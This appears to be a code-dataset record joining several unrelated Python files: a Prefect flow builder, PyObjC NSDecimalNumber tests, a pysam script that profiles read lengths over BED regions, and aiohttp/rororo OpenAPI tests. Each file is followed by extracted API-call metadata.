] | [((771, 801), 'generic.trimesh.util.attach_to_log', 'g.trimesh.util.attach_to_log', ([], {}), '()\n', (799, 801), True, 'import generic as g\n'), ((806, 823), 'generic.unittest.main', 'g.unittest.main', ([], {}), '()\n', (821, 823), True, 'import generic as g\n'), ((220, 282), 'generic.trimesh.creation.cylinder', 'g.trimesh.creation.cylinder', ([], {'radius': 'radius', 'height': '(radius * 10)'}), '(radius=radius, height=radius * 10)\n', (247, 282), True, 'import generic as g\n'), ((690, 737), 'generic.np.allclose', 'g.np.allclose', (['radii', 'radius'], {'atol': '(radius / 100)'}), '(radii, radius, atol=radius / 100)\n', (703, 737), True, 'import generic as g\n'), ((648, 668), 'generic.np.isfinite', 'g.np.isfinite', (['radii'], {}), '(radii)\n', (661, 668), True, 'import generic as g\n'), ((360, 387), 'generic.np.sign', 'g.np.sign', (['m.vertices[:, 2]'], {}), '(m.vertices[:, 2])\n', (369, 387), True, 'import generic as g\n')] |
import os
from abc import ABC, abstractmethod
from typing import List
from prefect import Client, Flow, Task
from prefect.executors import LocalDaskExecutor
from prefect.run_configs import UniversalRun
from prefect.storage import Local
from flows.abstract_settings import AbstractDemands, AbstractTasks
PROJECT_NAME = os.getenv('PREFECT_PROJECT_NAME', 'etude-Prefect')
class AbstractFlowOnDemand(ABC):
def __init__(self, flow_name):
self.flow = Flow(
name=flow_name,
run_config=UniversalRun(),
storage=Local(add_default_labels=False),
executor=LocalDaskExecutor())
self.basic_flow = self.flow.copy()
self.tasks = AbstractTasks()
def build(self, demands: List[AbstractDemands]):
self.build_basic_flow()
self.build_flow_on_demand(demands)
if not demands:
self.flow = self.basic_flow
@abstractmethod
def build_basic_flow(self):
# Build task dependencies with Task class or Flow class
# ref. https://docs.prefect.io/api/latest/core/task.html
# ref. https://docs.prefect.io/api/latest/core/flow.html
raise NotImplementedError
def build_flow_on_demand(self, demands: List[AbstractDemands]):
tasks_on_demand = [
self.tasks.get_by_demand(demand) for demand in demands]
def get_dependent_tasks(task_on_demand: Task):
dependent_tasks = set()
upstream_tasks = self.basic_flow.upstream_tasks(task_on_demand)
while len(upstream_tasks):
for task in upstream_tasks:
dependent_tasks.add(task)
upstream_tasks = upstream_tasks | self.basic_flow.upstream_tasks(task)
upstream_tasks.remove(task)
upstream_tasks = upstream_tasks - dependent_tasks
dependent_tasks.add(task_on_demand)
return dependent_tasks
def get_all_dependent_tasks(tasks_on_demand: List[Task]):
all_dependent_tasks = set()
for task in tasks_on_demand:
all_dependent_tasks = all_dependent_tasks | get_dependent_tasks(task)
return all_dependent_tasks
for dependent_task in get_all_dependent_tasks(tasks_on_demand):
base_edges = self.basic_flow.edges_to(dependent_task)
for edge in base_edges:
self.flow.add_edge(
upstream_task=edge.upstream_task,
downstream_task=edge.downstream_task,
key=edge.key,
mapped=edge.mapped,
flattened=edge.flattened
)
def register(self):
return self.flow.register(project_name=PROJECT_NAME)
@staticmethod
def run(flow_id: str, parameters: dict = {}):
Client().create_flow_run(flow_id=flow_id, parameters=parameters)
| [
"os.getenv",
"flows.abstract_settings.AbstractTasks",
"prefect.storage.Local",
"prefect.executors.LocalDaskExecutor",
"prefect.run_configs.UniversalRun",
"prefect.Client"
] | [((321, 371), 'os.getenv', 'os.getenv', (['"""PREFECT_PROJECT_NAME"""', '"""etude-Prefect"""'], {}), "('PREFECT_PROJECT_NAME', 'etude-Prefect')\n", (330, 371), False, 'import os\n'), ((694, 709), 'flows.abstract_settings.AbstractTasks', 'AbstractTasks', ([], {}), '()\n', (707, 709), False, 'from flows.abstract_settings import AbstractDemands, AbstractTasks\n'), ((518, 532), 'prefect.run_configs.UniversalRun', 'UniversalRun', ([], {}), '()\n', (530, 532), False, 'from prefect.run_configs import UniversalRun\n'), ((554, 585), 'prefect.storage.Local', 'Local', ([], {'add_default_labels': '(False)'}), '(add_default_labels=False)\n', (559, 585), False, 'from prefect.storage import Local\n'), ((608, 627), 'prefect.executors.LocalDaskExecutor', 'LocalDaskExecutor', ([], {}), '()\n', (625, 627), False, 'from prefect.executors import LocalDaskExecutor\n'), ((2831, 2839), 'prefect.Client', 'Client', ([], {}), '()\n', (2837, 2839), False, 'from prefect import Client, Flow, Task\n')] |
import Foundation
from PyObjCTools.TestSupport import TestCase
import objc
class Behaviour(Foundation.NSObject):
def scale(self):
return 1
def roundingMode(self):
return 1
def exceptionDuringOperation_error_leftOperand_rightOperand_(self, exc, err, l, r):
pass
class TestNSDecimalNumber(TestCase):
def testConstants(self):
self.assertIsInstance(Foundation.NSDecimalNumberExactnessException, str)
self.assertIsInstance(Foundation.NSDecimalNumberOverflowException, str)
self.assertIsInstance(Foundation.NSDecimalNumberUnderflowException, str)
self.assertIsInstance(Foundation.NSDecimalNumberDivideByZeroException, str)
def testNSDecimal(self):
dec = Foundation.NSDecimal("55.0")
v = Foundation.NSDecimalNumber.alloc().initWithDecimal_(dec)
self.assertIsInstance(v, Foundation.NSDecimalNumber)
self.assertEqual(v.description(), "55")
v = Foundation.NSDecimalNumber.decimalNumberWithDecimal_(dec)
self.assertIsInstance(v, Foundation.NSDecimalNumber)
self.assertEqual(v.description(), "55")
o = v.decimalValue()
self.assertIsInstance(o, Foundation.NSDecimal)
o = v.objCType()
self.assertIsInstance(o, bytes)
def testNSNumberAsNSDecimal(self):
v = Foundation.NSNumber.numberWithFloat_(33.5)
o = v.decimalValue()
self.assertIsInstance(o, Foundation.NSDecimal)
def testNSScannerWithDecimal(self):
v = Foundation.NSScanner.alloc().initWithString_("55.23")
o, dec = v.scanDecimal_(None)
self.assertIsInstance(dec, Foundation.NSDecimal)
self.assertIs(o, True)
self.assertEqual(str(dec), "55.23")
def testMethods(self):
self.assertArgIsBOOL(
Foundation.NSDecimalNumber.initWithMantissa_exponent_isNegative_, 2
)
self.assertArgIsBOOL(
Foundation.NSDecimalNumber.decimalNumberWithMantissa_exponent_isNegative_, 2
)
self.assertArgIsBOOL(
Foundation.NSDecimalNumberHandler.initWithRoundingMode_scale_raiseOnExactness_raiseOnOverflow_raiseOnUnderflow_raiseOnDivideByZero_, # noqa: B950
2,
)
self.assertArgIsBOOL(
Foundation.NSDecimalNumberHandler.initWithRoundingMode_scale_raiseOnExactness_raiseOnOverflow_raiseOnUnderflow_raiseOnDivideByZero_, # noqa: B950
3,
)
self.assertArgIsBOOL(
Foundation.NSDecimalNumberHandler.initWithRoundingMode_scale_raiseOnExactness_raiseOnOverflow_raiseOnUnderflow_raiseOnDivideByZero_, # noqa: B950
4,
)
self.assertArgIsBOOL(
Foundation.NSDecimalNumberHandler.initWithRoundingMode_scale_raiseOnExactness_raiseOnOverflow_raiseOnUnderflow_raiseOnDivideByZero_, # noqa: B950
5,
)
self.assertArgIsBOOL(
Foundation.NSDecimalNumberHandler.decimalNumberHandlerWithRoundingMode_scale_raiseOnExactness_raiseOnOverflow_raiseOnUnderflow_raiseOnDivideByZero_, # noqa: B950
2,
)
self.assertArgIsBOOL(
Foundation.NSDecimalNumberHandler.decimalNumberHandlerWithRoundingMode_scale_raiseOnExactness_raiseOnOverflow_raiseOnUnderflow_raiseOnDivideByZero_, # noqa: B950
3,
)
self.assertArgIsBOOL(
Foundation.NSDecimalNumberHandler.decimalNumberHandlerWithRoundingMode_scale_raiseOnExactness_raiseOnOverflow_raiseOnUnderflow_raiseOnDivideByZero_, # noqa: B950
4,
)
self.assertArgIsBOOL(
Foundation.NSDecimalNumberHandler.decimalNumberHandlerWithRoundingMode_scale_raiseOnExactness_raiseOnOverflow_raiseOnUnderflow_raiseOnDivideByZero_, # noqa: B950
5,
)
def testProtocols(self):
objc.protocolNamed("NSDecimalNumberBehaviors")
self.assertArgHasType(
Behaviour.exceptionDuringOperation_error_leftOperand_rightOperand_,
0,
objc._C_SEL,
)
self.assertArgHasType(
Behaviour.exceptionDuringOperation_error_leftOperand_rightOperand_,
1,
objc._C_NSUInteger,
)
self.assertResultHasType(
Behaviour.scale, objc._C_SHT
) # XXX: should this happen without a protocol definition, a bit too generic!
self.assertResultHasType(Behaviour.roundingMode, objc._C_NSUInteger)
| [
"Foundation.NSNumber.numberWithFloat_",
"objc.protocolNamed",
"Foundation.NSDecimal",
"Foundation.NSDecimalNumber.alloc",
"Foundation.NSScanner.alloc",
"Foundation.NSDecimalNumber.decimalNumberWithDecimal_"
] | [((739, 767), 'Foundation.NSDecimal', 'Foundation.NSDecimal', (['"""55.0"""'], {}), "('55.0')\n", (759, 767), False, 'import Foundation\n'), ((960, 1017), 'Foundation.NSDecimalNumber.decimalNumberWithDecimal_', 'Foundation.NSDecimalNumber.decimalNumberWithDecimal_', (['dec'], {}), '(dec)\n', (1012, 1017), False, 'import Foundation\n'), ((1330, 1372), 'Foundation.NSNumber.numberWithFloat_', 'Foundation.NSNumber.numberWithFloat_', (['(33.5)'], {}), '(33.5)\n', (1366, 1372), False, 'import Foundation\n'), ((3828, 3874), 'objc.protocolNamed', 'objc.protocolNamed', (['"""NSDecimalNumberBehaviors"""'], {}), "('NSDecimalNumberBehaviors')\n", (3846, 3874), False, 'import objc\n'), ((781, 815), 'Foundation.NSDecimalNumber.alloc', 'Foundation.NSDecimalNumber.alloc', ([], {}), '()\n', (813, 815), False, 'import Foundation\n'), ((1510, 1538), 'Foundation.NSScanner.alloc', 'Foundation.NSScanner.alloc', ([], {}), '()\n', (1536, 1538), False, 'import Foundation\n')] |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
import sys
import pytest
from clastic.contrib.obj_browser import create_app
_IS_PYPY = '__pypy__' in sys.builtin_module_names
@pytest.mark.skipif(_IS_PYPY, reason='pypy gc cannot support obj browsing')
def test_flaw_basic():
app = create_app()
cl = app.get_local_client()
resp = cl.get('/')
assert resp.status_code == 302 # take me to the default
resp = cl.get('/', follow_redirects=True)
assert resp.status_code == 200 # default should be sys
assert 'modules' in resp.get_data(True)
| [
"clastic.contrib.obj_browser.create_app",
"pytest.mark.skipif"
] | [((198, 272), 'pytest.mark.skipif', 'pytest.mark.skipif', (['_IS_PYPY'], {'reason': '"""pypy gc cannot support obj browsing"""'}), "(_IS_PYPY, reason='pypy gc cannot support obj browsing')\n", (216, 272), False, 'import pytest\n'), ((306, 318), 'clastic.contrib.obj_browser.create_app', 'create_app', ([], {}), '()\n', (316, 318), False, 'from clastic.contrib.obj_browser import create_app\n')] |
#!/usr/bin/env python3
# Author: <NAME>
# Purpose: Profile the read lengths which map to regions in a bed file
# Created: 2019-08-14
# Depends: pysam, samtools, python >= 3.6
import pysam
import gzip
from os.path import exists
from argparse import ArgumentParser
from sys import exit
def magic_open(input_file):
if input_file.endswith('gz'):
return gzip.open(input_file, 'rt')
else:
return open(input_file, 'r')
def bed_iter(input_file):
with magic_open(input_file) as input_handle:
for line in input_handle:
entry = line.strip().split()
yield {'chrom': entry[0],
'start': int(entry[1]),
'end': int(entry[2]),
'name': entry[3]}
def profile_reads_by_region(align_file, bed_iter, min_len, max_len):
print('feature', *range(min_len, max_len + 1), sep='\t')
for entry in bed_iter:
profile = {}
for length in range(min_len, max_len + 1):
profile.update({length: 0})
with pysam.AlignmentFile(align_file, 'rb') as align_handle:
for aln in align_handle.fetch(entry['chrom'], entry['start'], entry['end']):
read_length = aln.query_length
if min_len <= read_length <= max_len:
profile[read_length] += 1
print(*[entry['name']] + [profile[key] for key in profile], sep='\t')
# Command line parser
def get_args():
parser = ArgumentParser(
description='Profile the reads between a minimum and maximum length '
'from regions defined by a .bed file.')
parser.add_argument('alignment',
help='Input alignment file',
metavar='FILE.bam')
parser.add_argument('-b', '--bed',
help='Input bed file containing regions of interest',
metavar='FILE.bed(.gz)')
parser.add_argument('-n', '--min_length',
help='Minimum length of reads to profile',
type=int,
metavar='INT')
parser.add_argument('-m', '--max_length',
help='Maximum length of reads to profile',
type=int,
metavar='INT')
return parser.parse_args()
# Main function entry point
def main(args):
# Check that alignment file is a bam
if not args.alignment.endswith('.bam'):
exit('Error: Alignment must be in .bam format to enable random access.')
# Create .bai index if needed
if not exists(args.alignment + '.bai'):
pysam.index(args.alignment)
# Process files
profile_reads_by_region(args.alignment, bed_iter(args.bed), args.min_length,
args.max_length)
if __name__ == '__main__':
main(get_args())
| [
"pysam.index",
"os.path.exists",
"argparse.ArgumentParser",
"gzip.open",
"pysam.AlignmentFile",
"sys.exit"
] | [((1458, 1589), 'argparse.ArgumentParser', 'ArgumentParser', ([], {'description': '"""Profile the reads between a minimum and maximum length from regions defined by a .bed file."""'}), "(description=\n 'Profile the reads between a minimum and maximum length from regions defined by a .bed file.'\n )\n", (1472, 1589), False, 'from argparse import ArgumentParser\n'), ((365, 392), 'gzip.open', 'gzip.open', (['input_file', '"""rt"""'], {}), "(input_file, 'rt')\n", (374, 392), False, 'import gzip\n'), ((2444, 2516), 'sys.exit', 'exit', (['"""Error: Alignment must be in .bam format to enable random access."""'], {}), "('Error: Alignment must be in .bam format to enable random access.')\n", (2448, 2516), False, 'from sys import exit\n'), ((2563, 2594), 'os.path.exists', 'exists', (["(args.alignment + '.bai')"], {}), "(args.alignment + '.bai')\n", (2569, 2594), False, 'from os.path import exists\n'), ((2604, 2631), 'pysam.index', 'pysam.index', (['args.alignment'], {}), '(args.alignment)\n', (2615, 2631), False, 'import pysam\n'), ((1035, 1072), 'pysam.AlignmentFile', 'pysam.AlignmentFile', (['align_file', '"""rb"""'], {}), "(align_file, 'rb')\n", (1054, 1072), False, 'import pysam\n')] |
import datetime
import io
import json
import zipfile
from pathlib import Path
import pyrsistent
import pytest
import yaml
from aiohttp import web
from openapi_core.shortcuts import create_spec
from yarl import URL
from rororo import (
BaseSettings,
get_openapi_context,
get_openapi_schema,
get_openapi_spec,
openapi_context,
OperationTableDef,
setup_openapi,
setup_settings_from_environ,
)
from rororo.annotations import DictStrAny
from rororo.openapi import get_validated_data
from rororo.openapi.exceptions import (
ConfigurationError,
OperationError,
validation_error_context,
ValidationError,
)
ROOT_PATH = Path(__file__).parent
INVALID_OPENAPI_JSON_PATH = ROOT_PATH / "invalid-openapi.json"
INVALID_OPENAPI_YAML_PATH = ROOT_PATH / "invalid-openapi.yaml"
OPENAPI_JSON_PATH = ROOT_PATH / "openapi.json"
OPENAPI_YAML_PATH = ROOT_PATH / "openapi.yaml"
TEST_NESTED_OBJECT = {
"uid": "6fccda1b-0873-4c8a-bceb-a2acfe5851da",
"type": "nested-object",
"data": {
"data_item": {"key": "value1", "any_data": {}},
"data_items": [
{"key": "value2", "any_data": {"two": 2}},
{"key": "value3", "any_data": {"three": 3}},
],
"str_items": ["1", "2", "3"],
},
"any_data": {"key1": "value1", "key2": "value2", "list": [1, 2, 3]},
}
operations = OperationTableDef()
invalid_operations = OperationTableDef()
def custom_json_loader(content: bytes) -> DictStrAny:
return json.load(io.BytesIO(content))
def custom_yaml_loader(content: bytes) -> DictStrAny:
return yaml.load(content, Loader=yaml.SafeLoader)
@invalid_operations.register("does-not-exist")
async def does_not_exist(request: web.Request) -> web.Response:
return web.Response(text="Hello, world!")
@operations.register("create-post")
async def create_post(request: web.Request) -> web.Response:
data = get_validated_data(request)
published_at: datetime.datetime = data["published_at"]
with validation_error_context("body", "published_at"):
if published_at.tzinfo is None:
raise ValidationError(message="Invalid value")
return web.json_response(
{**data, "id": 1, "published_at": data["published_at"].isoformat()},
status=201,
)
@operations.register
async def hello_world(request: web.Request) -> web.Response:
with openapi_context(request) as context:
name = context.parameters.query.get("name") or "world"
email = context.parameters.query.get("email") or "<EMAIL>"
return web.json_response(
{"message": f"Hello, {name}!", "email": email}
)
@operations.register
async def retrieve_any_object_from_request_body(
request: web.Request,
) -> web.Response:
return web.json_response(pyrsistent.thaw(get_validated_data(request)))
@operations.register
async def retrieve_array_from_request_body(
request: web.Request,
) -> web.Response:
with openapi_context(request) as context:
return web.json_response(pyrsistent.thaw(context.data))
@operations.register
async def retrieve_empty(request: web.Request) -> web.Response:
context = get_openapi_context(request)
return web.Response(
status=204, headers={"X-API-Key": context.security.get("apiKey") or ""}
)
@operations.register
async def retrieve_invalid_response(request: web.Request) -> web.Response:
return web.json_response({})
@operations.register
async def retrieve_post(request: web.Request) -> web.Response:
context = get_openapi_context(request)
return web.json_response(
{"id": context.parameters.path["post_id"], "title": "The Post"}
)
@operations.register
async def retrieve_nested_object_from_request_body(
request: web.Request,
) -> web.Response:
with openapi_context(request) as context:
data = pyrsistent.thaw(context.data)
data["uid"] = str(data["uid"])
return web.json_response(
data,
headers={
"X-Data-Type": str(type(context.data)),
"X-Data-Data-Data-Items-Type": str(
type(context.data["data"]["data_items"])
),
"X-Data-Data-Str-Items-Type": str(
type(context.data["data"]["str_items"])
),
"X-Data-UID-Type": str(type(context.data["uid"])),
},
)
@operations.register
async def retrieve_zip(request: web.Request) -> web.Response:
output = io.BytesIO()
with zipfile.ZipFile(output, "w") as handler:
handler.writestr("hello.txt", "Hello, world!")
output.seek(0)
return web.Response(
body=output,
content_type="application/zip",
headers={"Content-Disposition": "attachment; filename=hello.zip"},
)
@operations.register
async def upload_image(request: web.Request) -> web.Response:
return web.Response(
body=get_openapi_context(request).data,
content_type=request.content_type,
status=201,
)
@operations.register
async def upload_text(request: web.Request) -> web.Response:
return web.Response(
text=get_openapi_context(request).data,
content_type=request.content_type,
status=201,
)
@pytest.mark.parametrize("schema_path", (OPENAPI_JSON_PATH, OPENAPI_YAML_PATH))
async def test_any_object_request_body(aiohttp_client, schema_path):
app = setup_openapi(
web.Application(), schema_path, operations, server_url=URL("/api/")
)
client = await aiohttp_client(app)
response = await client.post("/api/any-object", json=TEST_NESTED_OBJECT)
assert response.status == 200
assert await response.json() == TEST_NESTED_OBJECT
@pytest.mark.parametrize(
"data, expected_status, expected_response",
(
(
{},
422,
{"detail": [{"loc": ["body"], "message": "[] is too short"}]},
),
(
[],
422,
{"detail": [{"loc": ["body"], "message": "[] is too short"}]},
),
(
[""],
422,
{"detail": [{"loc": ["body", 0], "message": "'' is too short"}]},
),
(["Hello", "world!"], 200, ["Hello", "world!"]),
),
)
async def test_array_request_body(
aiohttp_client, data, expected_status, expected_response
):
app = setup_openapi(
web.Application(),
OPENAPI_YAML_PATH,
operations,
server_url=URL("/api"),
)
client = await aiohttp_client(app)
response = await client.post("/api/array", json=data)
assert response.status == expected_status
assert await response.json() == expected_response
@pytest.mark.parametrize("schema_path", (OPENAPI_JSON_PATH, OPENAPI_YAML_PATH))
async def test_create_post_201(aiohttp_client, schema_path):
app = setup_openapi(
web.Application(), schema_path, operations, server_url="/api/"
)
published_at = "2020-04-01T12:00:00+02:00"
client = await aiohttp_client(app)
response = await client.post(
"/api/create-post",
json={
"title": "Post",
"slug": "post",
"content": "Post Content",
"published_at": published_at,
},
)
assert response.status == 201
assert await response.json() == {
"id": 1,
"title": "Post",
"slug": "post",
"content": "Post Content",
"published_at": published_at,
}
@pytest.mark.parametrize(
"schema_path, invalid_data, expected_detail",
(
(
OPENAPI_JSON_PATH,
{},
[
{"loc": ["body", "title"], "message": "Field required"},
{"loc": ["body", "slug"], "message": "Field required"},
{"loc": ["body", "content"], "message": "Field required"},
{"loc": ["body", "published_at"], "message": "Field required"},
],
),
(
OPENAPI_YAML_PATH,
{"title": "Title"},
[
{"loc": ["body", "slug"], "message": "Field required"},
{"loc": ["body", "content"], "message": "Field required"},
{"loc": ["body", "published_at"], "message": "Field required"},
],
),
(
OPENAPI_JSON_PATH,
{"title": "Title", "slug": "slug"},
[
{"loc": ["body", "content"], "message": "Field required"},
{"loc": ["body", "published_at"], "message": "Field required"},
],
),
(
OPENAPI_YAML_PATH,
{"title": "Title", "slug": "slug", "content": "Content"},
[{"loc": ["body", "published_at"], "message": "Field required"}],
),
),
)
async def test_create_post_422(
aiohttp_client, schema_path, invalid_data, expected_detail
):
app = setup_openapi(
web.Application(),
schema_path,
operations,
server_url=URL("/dev-api"),
)
client = await aiohttp_client(app)
response = await client.post("/dev-api/create-post", json=invalid_data)
assert response.status == 422
assert (await response.json())["detail"] == expected_detail
@pytest.mark.parametrize(
"schema_path, schema_loader",
(
(OPENAPI_JSON_PATH, custom_json_loader),
(OPENAPI_YAML_PATH, custom_yaml_loader),
),
)
def test_custom_schema_loader(schema_path, schema_loader):
app = setup_openapi(
web.Application(),
schema_path,
operations,
server_url="/api/",
schema_loader=schema_loader,
)
assert isinstance(get_openapi_schema(app), dict)
@pytest.mark.parametrize("schema_path", (OPENAPI_JSON_PATH, OPENAPI_YAML_PATH))
async def test_email_format(aiohttp_client, schema_path):
app = setup_openapi(
web.Application(), schema_path, operations, server_url="/api/"
)
client = await aiohttp_client(app)
response = await client.get(
"/api/hello", params={"email": "<EMAIL>"}
)
assert response.status == 200
assert (await response.json())["email"] == "<EMAIL>"
@pytest.mark.parametrize("schema_path", (OPENAPI_JSON_PATH, OPENAPI_YAML_PATH))
async def test_invalid_parameter_format(aiohttp_client, schema_path):
app = setup_openapi(
web.Application(), schema_path, operations, server_url="/api/"
)
client = await aiohttp_client(app)
response = await client.get("/api/posts/not-an-integer")
assert response.status == 422
assert await response.json() == {
"detail": [
{
"loc": ["parameters", "post_id"],
"message": "'not-an-integer' is not a type of 'integer'",
}
]
}
@pytest.mark.parametrize("schema_path", (OPENAPI_JSON_PATH, OPENAPI_YAML_PATH))
async def test_invalid_parameter_value(aiohttp_client, schema_path):
app = setup_openapi(
web.Application(), schema_path, operations, server_url="/api/"
)
client = await aiohttp_client(app)
response = await client.get("/api/posts/0")
assert response.status == 422
assert await response.json() == {
"detail": [
{
"loc": ["parameters", "post_id"],
"message": "0 is less than the minimum of 1",
}
]
}
def test_get_openapi_schema_no_schema():
with pytest.raises(ConfigurationError):
get_openapi_schema(web.Application())
def test_get_openapi_spec_no_spec():
with pytest.raises(ConfigurationError):
get_openapi_spec(web.Application())
@pytest.mark.parametrize("schema_path", (OPENAPI_JSON_PATH, OPENAPI_YAML_PATH))
async def test_multiple_request_errors(aiohttp_client, schema_path):
app = setup_openapi(
web.Application(), schema_path, operations, server_url="/api/"
)
client = await aiohttp_client(app)
response = await client.get("/api/hello?name=&email=")
assert response.status == 422
assert await response.json() == {
"detail": [
{
"loc": ["parameters", "name"],
"message": "Empty parameter value",
},
{
"loc": ["parameters", "email"],
"message": "Empty parameter value",
},
]
}
@pytest.mark.parametrize(
"schema_path, query_string, expected_message",
(
(OPENAPI_JSON_PATH, None, "Hello, world!"),
(OPENAPI_JSON_PATH, "?name=Name", "Hello, Name!"),
(str(OPENAPI_JSON_PATH), None, "Hello, world!"),
(str(OPENAPI_JSON_PATH), "?name=Name", "Hello, Name!"),
(OPENAPI_YAML_PATH, None, "Hello, world!"),
(OPENAPI_YAML_PATH, "?name=Name", "Hello, Name!"),
(str(OPENAPI_YAML_PATH), None, "Hello, world!"),
(str(OPENAPI_YAML_PATH), "?name=Name", "Hello, Name!"),
),
)
async def test_openapi(
aiohttp_client, schema_path, query_string, expected_message
):
app = setup_openapi(
web.Application(), schema_path, operations, server_url="/api"
)
client = await aiohttp_client(app)
url = "/api/hello"
response = await client.get(
f"{url}{query_string}" if query_string is not None else url
)
assert response.status == 200
assert (await response.json())["message"] == expected_message
@pytest.mark.parametrize("is_enabled", (False, True))
async def test_openapi_validate_response(aiohttp_client, is_enabled):
app = web.Application()
setup_openapi(
app,
OPENAPI_YAML_PATH,
operations,
server_url="/api",
is_validate_response=is_enabled,
)
client = await aiohttp_client(app)
response = await client.get("/api/hello")
assert response.status == 200
assert await response.json() == {
"message": "Hello, world!",
"email": "<EMAIL>",
}
@pytest.mark.parametrize(
"has_openapi_schema_handler, url, expected_status",
(
(True, "/api/openapi.json", 200),
(False, "/api/openapi.yaml", 404),
(True, "/api/openapi.yaml", 200),
(False, "/api/openapi.yaml", 404),
(True, "/api/openapi.txt", 500),
(False, "/api/openapi.txt", 404),
),
)
async def test_openapi_schema_handler(
aiohttp_client, has_openapi_schema_handler, url, expected_status
):
app = web.Application()
setup_openapi(
app,
OPENAPI_YAML_PATH,
operations,
server_url=URL("/api"),
has_openapi_schema_handler=has_openapi_schema_handler,
)
client = await aiohttp_client(app)
response = await client.get(url)
assert response.status == expected_status
@pytest.mark.parametrize(
"schema_path, headers, expected",
(
(OPENAPI_JSON_PATH, {}, ""),
(OPENAPI_JSON_PATH, {"X-API-Key": "apiKey"}, "apiKey"),
(OPENAPI_YAML_PATH, {}, ""),
(OPENAPI_YAML_PATH, {"X-API-Key": "apiKey"}, "apiKey"),
),
)
async def test_optional_security_scheme(
aiohttp_client, schema_path, headers, expected
):
app = setup_openapi(
web.Application(), schema_path, operations, server_url="/api/"
)
client = await aiohttp_client(app)
response = await client.get("/api/empty", headers=headers)
assert response.status == 204
assert response.headers["X-API-Key"] == expected
@pytest.mark.parametrize("schema_path", (OPENAPI_JSON_PATH, OPENAPI_YAML_PATH))
async def test_request_body_nested_object(aiohttp_client, schema_path):
app = setup_openapi(
web.Application(), schema_path, operations, server_url="/api/"
)
client = await aiohttp_client(app)
response = await client.post("/api/nested-object", json=TEST_NESTED_OBJECT)
assert response.status == 200
assert response.headers["X-Data-Type"] == "<class 'pyrsistent._pmap.PMap'>"
assert (
response.headers["X-Data-Data-Data-Items-Type"]
== "<class 'pvectorc.PVector'>"
)
assert (
response.headers["X-Data-Data-Str-Items-Type"]
== "<class 'pvectorc.PVector'>"
)
assert response.headers["X-Data-UID-Type"] == "<class 'uuid.UUID'>"
assert await response.json() == TEST_NESTED_OBJECT
@pytest.mark.parametrize(
"schema_path, loader",
(
(OPENAPI_JSON_PATH, custom_json_loader),
(OPENAPI_YAML_PATH, custom_yaml_loader),
),
)
async def test_setup_openapi_schema_and_spec(
aiohttp_client, schema_path, loader
):
schema = loader(schema_path.read_bytes())
spec = create_spec(schema)
app = setup_openapi(
web.Application(),
operations,
schema=schema,
spec=spec,
server_url="/api/",
)
client = await aiohttp_client(app)
response = await client.get("/api/hello")
assert response.status == 200
assert await response.json() == {
"message": "Hello, world!",
"email": "<EMAIL>",
}
@pytest.mark.parametrize(
"schema_path, loader",
(
(OPENAPI_JSON_PATH, custom_json_loader),
(OPENAPI_YAML_PATH, custom_yaml_loader),
),
)
async def test_setup_openapi_schema_and_path_ignore_invalid_schema_path(
aiohttp_client, schema_path, loader
):
schema = loader(schema_path.read_bytes())
spec = create_spec(schema)
setup_openapi(
web.Application(),
INVALID_OPENAPI_JSON_PATH,
operations,
schema=schema,
spec=spec,
server_url="/api/",
)
@pytest.mark.parametrize("schema_path", (OPENAPI_JSON_PATH, OPENAPI_YAML_PATH))
def test_setup_openapi_invalid_operation(schema_path):
with pytest.raises(OperationError):
setup_openapi(
web.Application(),
schema_path,
invalid_operations,
server_url="/api",
)
def test_setup_openapi_invalid_path():
with pytest.raises(ConfigurationError):
setup_openapi(
web.Application(), ROOT_PATH / "does-not-exist.yaml", operations
)
def test_setup_openapi_invalid_file():
with pytest.raises(ConfigurationError):
setup_openapi(web.Application(), ROOT_PATH / "settings.py", operations)
@pytest.mark.parametrize(
"schema_path", (INVALID_OPENAPI_JSON_PATH, INVALID_OPENAPI_YAML_PATH)
)
def test_setup_openapi_invalid_spec(schema_path):
with pytest.raises(ConfigurationError):
setup_openapi(web.Application(), schema_path, operations)
@pytest.mark.parametrize(
"schema_path, level, url, expected_status",
(
(OPENAPI_JSON_PATH, "test", "/api/hello", 200),
(OPENAPI_JSON_PATH, "test", "/dev-api/hello", 404),
(OPENAPI_YAML_PATH, "test", "/api/hello", 200),
(OPENAPI_YAML_PATH, "test", "/dev-api/hello", 404),
(OPENAPI_JSON_PATH, "dev", "/api/hello", 404),
(OPENAPI_JSON_PATH, "dev", "/dev-api/hello", 200),
(OPENAPI_YAML_PATH, "dev", "/api/hello", 404),
(OPENAPI_YAML_PATH, "dev", "/dev-api/hello", 200),
),
)
async def test_setup_openapi_server_url_from_settings(
monkeypatch, aiohttp_client, schema_path, level, url, expected_status
):
monkeypatch.setenv("LEVEL", level)
app = setup_openapi(
setup_settings_from_environ(web.Application(), BaseSettings),
schema_path,
operations,
)
client = await aiohttp_client(app)
response = await client.get(url)
assert response.status == expected_status
@pytest.mark.parametrize("schema_path", (OPENAPI_JSON_PATH, OPENAPI_YAML_PATH))
def test_setup_openapi_server_url_invalid_level(monkeypatch, schema_path):
monkeypatch.setenv("LEVEL", "prod")
with pytest.raises(ConfigurationError):
setup_openapi(
setup_settings_from_environ(web.Application(), BaseSettings),
schema_path,
operations,
)
@pytest.mark.parametrize("schema_path", (OPENAPI_JSON_PATH, OPENAPI_YAML_PATH))
def test_setup_openapi_server_url_does_not_set(schema_path):
with pytest.raises(ConfigurationError):
setup_openapi(web.Application(), schema_path, operations)
@pytest.mark.parametrize("schema_path", (OPENAPI_JSON_PATH, OPENAPI_YAML_PATH))
async def test_upload_image(aiohttp_client, schema_path):
blank_png = (Path(__file__).parent / "data" / "blank.png").read_bytes()
app = setup_openapi(
web.Application(), schema_path, operations, server_url="/api"
)
client = await aiohttp_client(app)
response = await client.post(
"/api/upload-image",
data=blank_png,
headers={"Content-Type": "image/png"},
)
assert response.status == 201
assert await response.read() == blank_png
@pytest.mark.parametrize("schema_path", (OPENAPI_JSON_PATH, OPENAPI_YAML_PATH))
async def test_upload_text(aiohttp_client, schema_path):
text = "Hello, world! And other things..."
app = setup_openapi(
web.Application(), schema_path, operations, server_url="/api"
)
client = await aiohttp_client(app)
response = await client.post(
"/api/upload-text",
data=text.encode("utf-8"),
headers={"Content-Type": "text/plain"},
)
assert response.status == 201
assert await response.text() == text
@pytest.mark.parametrize("schema_path", (OPENAPI_JSON_PATH, OPENAPI_YAML_PATH))
async def test_validate_binary_response(aiohttp_client, schema_path):
app = setup_openapi(
web.Application(),
schema_path,
operations,
server_url="/api",
is_validate_response=True,
)
client = await aiohttp_client(app)
response = await client.get("/api/download.zip")
assert response.status == 200
assert response.content_type == "application/zip"
